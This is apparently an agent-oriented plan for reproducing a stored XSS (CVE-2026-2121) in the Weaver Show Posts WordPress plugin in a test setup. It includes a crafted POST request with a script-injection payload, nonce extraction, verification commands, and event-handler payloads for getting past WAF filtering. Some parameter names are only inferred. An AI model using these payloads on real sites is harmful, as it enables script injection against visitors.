Weaver Show Posts <= 1.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Additional Classes to Wrap Posts' Widget Setting

This research plan outlines the technical steps to exploit CVE-2026-2121, a stored cross-site scripting (XSS) vulnerability in the Weaver Show Posts plugin.

1. Vulnerability Summary

The Weaver Show Posts plugin (up to version 1.8.1) fails to properly sanitize and escape the add_class parameter, which corresponds to the "Additional Classes to Wrap Posts" setting. This setting allows users to add custom CSS classes to the container surrounding the posts generated by the plugin. Because the input is rendered directly into an HTML class attribute without sufficient escaping (e.g., using esc_attr()), an administrator can inject a payload that breaks out of the attribute and executes arbitrary JavaScript.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/post.php (for "Show Posts Filters") or the Widgets API.
• Vulnerable Parameter: add_class (or the corresponding meta field in the POST request).
• Authentication Level: Administrator (specifically targeting environments like WordPress Multisite where unfiltered_html is disabled for site admins).
• Preconditions: The plugin must be active, and a "Show Posts Filter" or Widget must be created and rendered on a public-facing page or post.

3. Code Flow (Inferred)

1. Input: The administrator submits a "Show Posts Filter" configuration via the WordPress admin dashboard.
2. Storage: The plugin's save handler (likely hooked to save_post or a custom AJAX action) receives the add_class parameter and stores it in the wp_postmeta table (e.g., as _atw_add_class or similar) without sanitizing for HTML entities.
3. Output (Sink): When a user visits a page containing the [show_posts] shortcode or the Weaver Show Posts widget:
   • The plugin retrieves the saved settings.
   • It generates a wrapper <div> or <span>.
   • It echoes the add_class value directly inside the class attribute:
     echo '<div class="atw-show-posts ' . $add_class . '">';
4. Execution: If $add_class contains "><script>alert(1)</script>, the resulting HTML becomes:
   <div class="atw-show-posts "><script>alert(1)</script>">

4. Nonce Acquisition Strategy

Since this is an Authenticated (Administrator+) vulnerability, the exploit requires a valid session. The automated agent should:

1. Login as an Administrator using wp_cli or browser_navigate.
2. Navigate to the "Show Posts" -> "Add New Filter" page (/wp-admin/post-new.php?post_type=atw_show_posts).
3. Use browser_eval to extract the required nonces:
   • For standard post saving: document.querySelector('#_wpnonce').value.
   • If using the Widget interface: window.wpWidgets?.nonces?.save_widget.

5. Exploitation Strategy

The goal is to inject a payload into a "Show Posts Filter" and then trigger its rendering.

Step 1: Create a malicious Filter

• Method: POST request to wp-admin/post.php.
• URL: https://[target]/wp-admin/post.php
• Payload:

  Content-Type: application/x-www-form-urlencoded
  
  action=editpost
  &post_type=atw_show_posts
  &post_ID=[NEW_POST_ID]
  &post_title=XSS_Filter
  &atw_add_class="><script>alert(document.domain)</script>
  &_wpnonce=[NONCE]
  

  (Note: atw_add_class is the inferred parameter name based on the plugin's prefix atw_ for "A Weaver").

Step 2: Embed the Filter
Create a public post containing the shortcode for the malicious filter.

• Shortcode: [show_posts filter="[POST_ID]"]

Step 3: Trigger the XSS
Navigate to the newly created public post. The browser will render the injected script.

6. Test Data Setup

1. Plugin Installation: Install and activate show-posts version 1.8.1.
2. User Creation: Ensure a user with the administrator role exists.
3. Disable unfiltered_html: (Crucial for testing the security boundary) If testing on a single-site install, use a plugin or wp-config.php to define DISALLOW_UNFILTERED_HTML, as real-world impact is highest in Multisite.

   define( 'DISALLOW_UNFILTERED_HTML', true );
   

4. Identify Meta Keys: Run wp post-type list to confirm the post type name. Use wp post create --post_type=atw_show_posts --post_title="Probe" to find the specific meta key used for "Additional Classes" by inspecting the database.

7. Expected Results

• Upon saving the Filter, the database should contain the literal string "><script>alert(document.domain)</script> in the wp_postmeta table for that post.
• Upon viewing the page with the shortcode, the HTML source should show the class attribute of the container element closed prematurely, followed by the <script> tag.
• A JavaScript alert showing the document domain should appear.

8. Verification Steps

1. Database Check:

   wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '%add_class%' AND post_id = [ID]"
   

2. HTML Inspection:
   Use http_request to fetch the frontend page and grep for the breakout:

   grep -P 'class="atw-show-posts "><script>' response_body.html
   

9. Alternative Approaches

• Widget Injection: If the "Filter" CPT is not the entry point, target the WordPress Widget dashboard (wp-admin/widgets.php). Update a "Weaver Show Posts" widget instance via the AJAX save-widget action.
• Attribute-Based Payloads: If <script> tags are stripped by a global WAF but the plugin still fails to escape the attribute, use event handlers:
  add_class = 'x" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;"'
• Shortcode Attribute: Check if the shortcode itself accepts the add_class parameter:
  [show_posts add_class='"><script>alert(1)</script>']
  If the shortcode handler uses the same unescaped logic, this provides a simpler path for users with edit_posts capability.